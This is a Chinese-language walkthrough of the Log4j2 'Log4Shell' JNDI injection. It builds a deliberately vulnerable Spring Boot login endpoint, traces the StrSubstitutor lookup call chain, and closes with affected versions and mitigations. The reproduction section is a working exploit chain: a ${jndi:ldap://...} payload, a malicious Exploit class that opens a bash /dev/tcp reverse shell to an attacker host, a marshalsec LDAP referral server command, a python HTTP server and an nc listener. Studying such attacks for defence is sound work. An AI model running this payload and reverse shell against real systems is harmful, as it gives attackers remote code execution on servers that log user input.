apach-log4j 漏洞复现及原理 一、背景 背景就不多介绍了,大多项目会在内部通过log4j2打印日志,此次漏洞由于log4j2为提供lookup 功能导致的注入漏洞
二、漏洞复现 JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。
所以不受RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。具有更多的利用空间
由于漏洞依赖于配置trustURLCodebase 配置,oracle在相应高版本java中修改了对应参数的值。本次使用的java版本为8u131。
以下A为攻击方,B为靶场
B靶场服务端: 提供登陆服务,在登陆中打印用户名。我是在本地电脑启的springboot服务。
maven配置:用于复现漏洞建议log4j版本不高于2.15,若有高版本请排除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <parent > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-parent</artifactId > <version > 2.7.2</version > <relativePath /> </parent > <dependencies > //需要排除starter-loggin,里面引用了log4j-2.17 <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-jdbc</artifactId > <exclusions > <exclusion > <artifactId > spring-boot-starter-logging</artifactId > <groupId > org.springframework.boot</groupId > </exclusion > </exclusions > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > <exclusions > <exclusion > <artifactId > spring-boot-starter-logging</artifactId > <groupId > org.springframework.boot</groupId > </exclusion > </exclusions > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-devtools</artifactId > <scope > runtime</scope > <optional > true</optional > </dependency > <dependency > <groupId > org.apache.logging.log4j</groupId > <artifactId > log4j-api</artifactId > <version > 2.13.3</version > </dependency > <dependency > <groupId > org.apache.logging.log4j</groupId > <artifactId > log4j-core</artifactId > <version > 2.13.3</version > </dependency > </dependencies >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.*;import java.util.Map;@Controller public class UserController { private Logger logger= LogManager.getLogger(UserController.class); @RequestMapping("/hello") @ResponseBody public String hello () { logger.info("hello " ); return "hello" ; } @RequestMapping(value = "/login",method = {RequestMethod.POST}) @ResponseBody public String login (@RequestBody Map body) { String username=body.get("username" ).toString(); String password=body.get("password" ).toString(); if (username.equals("admin" ) && password.equals("123456" )){ logger.error("login:{},pass:{}" ,username,password); return "success" ; } logger.error("login:{},pass:{}" ,username,password); return "failed" ; } private static final Logger log = LogManager.getLogger(UserController.class); public static void main (String[] args) { log.error("${jndi:ldap://172.22.1.7:8899/Exploit}" ); } }
A:172.22.1.7 前提:A(172.22.1.7)机上有java环境及python3环境,带有公网ip,服务端机器能ping通A(172.22.1.7),此次
恶意类:由于我的服务方实在windows环境,因此是打开计算器,其他的可自行更改代码命令,如touch /tmp/123。 将该Exploit.java文件编译成Exploit.class文件放在A(172.22.1.7)上,如/root/log4j_poc/
下。
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.IOException;public class Exploit { public Exploit () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class Exploit { public Exploit () { try { String[] commands = {"bash" ,"-c" ,"exec 5<>/dev/tcp/172.22.1.7/12345;cat <&5 | while read line; do $line 2>&5 >&5; done" }; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch (Exception e){ e.printStackTrace(); } } public static void main (String[] argv) { Exploit e = new Exploit(); } }
前提:请确保A端(172.22.1.7)安全组防火墙放通端口!
在恶意类所在位置/root/log4j_poc/
启动http服务:python3 -m http.server 8100
通过该公网172.22.1.7:8100
可访问该路径下的文件
需要本地编译出可用的jar包
git clone https://github.com/mbechler/marshalsec.git
【克隆项目到本地】
mvn clean package -DskipTests
【这条命令执行完之后会在target 目录生成我们需要的可执行文件:marshalsec-0.0.3-SNAPSHOT-all.jar
】
将该jar包放到A的/root/log4j_poc/
目录下执行命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.22.1.7:8100/#Exploit 8899
【启动jndi ldap 监听】
恶意类的类名Exploit 会自动绑定URI,8899 是你开启Ldap服务的端口号,如果不加端口号,它的默认端口号为1389,
最终访问的ldap地址为ldap://ip:ldapport/ 即172.22.1.7:8899
反弹shell的话,请在A上(172.22.1.7)开启端口监听nc -lv 12345
该端口与恶意类中的端口一致
访问靶场
此处通过postman发起login请求,如果能成功加载恶意类,即成功
成功弹出计算器:
可以在A(172.22.1.7)上看到服务端访问了A上的恶意类:
三、原理 调用链 断点步进到调用链最开始的地方:
通过processLogEvent判定Event:
在directEncodeEvent会尝试对Event进行解码操作:
对event格式化,总共有11条,其中name=Message这条将会触发远程代码执行
format方法位于PatternFormatter类中
该format方法由MessagePatternConverter类实现,是否满足${开头}结尾的逻辑
调用到StrSubstitutor类的replace方法
之后跳转到该类的核心方法:
代码过长不贴图了,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 private int substitute (final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { final StrMatcher prefixMatcher = getVariablePrefixMatcher(); final StrMatcher suffixMatcher = getVariableSuffixMatcher(); final char escape = getEscapeChar(); final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher(); final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables(); final boolean top = priorVariables == null ; boolean altered = false ; int lengthChange = 0 ; char [] chars = getChars(buf); int bufEnd = offset + length; int pos = offset; while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0 ) { pos++; } else { if (pos > offset && chars[pos - 1 ] == escape) { buf.deleteCharAt(pos - 1 ); chars = getChars(buf); lengthChange--; altered = true ; bufEnd--; } else { final int startPos = pos; pos += startMatchLen; int endMatchLen = 0 ; int nestedVarCount = 0 ; while (pos < bufEnd) { if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0 ) { nestedVarCount++; pos += endMatchLen; continue ; } endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd); if (endMatchLen == 0 ) { pos++; } else { if (nestedVarCount == 0 ) { String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); if (substitutionInVariablesEnabled) { final StringBuilder bufName = new StringBuilder(varNameExpr); substitute(event, bufName, 0 , bufName.length()); varNameExpr = bufName.toString(); } pos += endMatchLen; final int endPos = pos; String varName = varNameExpr; String varDefaultValue = null ; if (valueDelimiterMatcher != null ) { final char [] varNameExprChars = varNameExpr.toCharArray(); int valueDelimiterMatchLen = 0 ; for (int i = 0 ; i < varNameExprChars.length; i++) { if (!substitutionInVariablesEnabled && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0 ) { break ; } if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0 ) { varName = varNameExpr.substring(0 , i); varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen); break ; } } } if (priorVariables == null ) { priorVariables = new ArrayList<>(); priorVariables.add(new String(chars, offset, length + lengthChange)); } checkCyclicSubstitution(varName, priorVariables); priorVariables.add(varName); String varValue = resolveVariable(event, varName, buf, startPos, endPos); if (varValue == null ) { varValue = varDefaultValue; } if (varValue != null ) { final int varLen = varValue.length(); buf.replace(startPos, endPos, varValue); altered = true ; int change = substitute(event, buf, startPos, varLen, priorVariables); change = change + (varLen - (endPos - startPos)); pos += change; bufEnd += change; lengthChange += change; chars = getChars(buf); } priorVariables.remove(priorVariables.size() - 1 ); break ; } nestedVarCount--; pos += endMatchLen; } } } } } if (top) { return altered ? 1 : 0 ; } return lengthChange; }
在该处进入方法,lookup调用
StrSubstitutor类中的该方法
//variableName="jndi:ldap://121.199.39.62:8899/Exploit"
通过jndiManager调用恶意类
整个调用过程如上:大致就是截取出”jndi:ldap://121.199.39.62:8899/Exploit”,调用lookup,从而执行了恶意类
log
processLogEvent
callAppender
tryCallAppender
directEncodeEvent
getLayout().encode
format
resolveVariable
lookup
影响版本 Apache Log4j 2.x <= 2.14.1
据悉,Apache Log4j2 日志远程代码执行漏洞因此也影响了所有 Minecraft 服务器。
【影响版本】
Apache log4j2 >= 2.0, <= 2.14.1
Minecraft 全版本所有系列服务端,除 Mohist 1.18 外。
安全建议
升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址查看:点击此处。
升级已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid
建议同时采用如下临时措施进行漏洞防范:
添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true;
在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;
JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;
参考文章: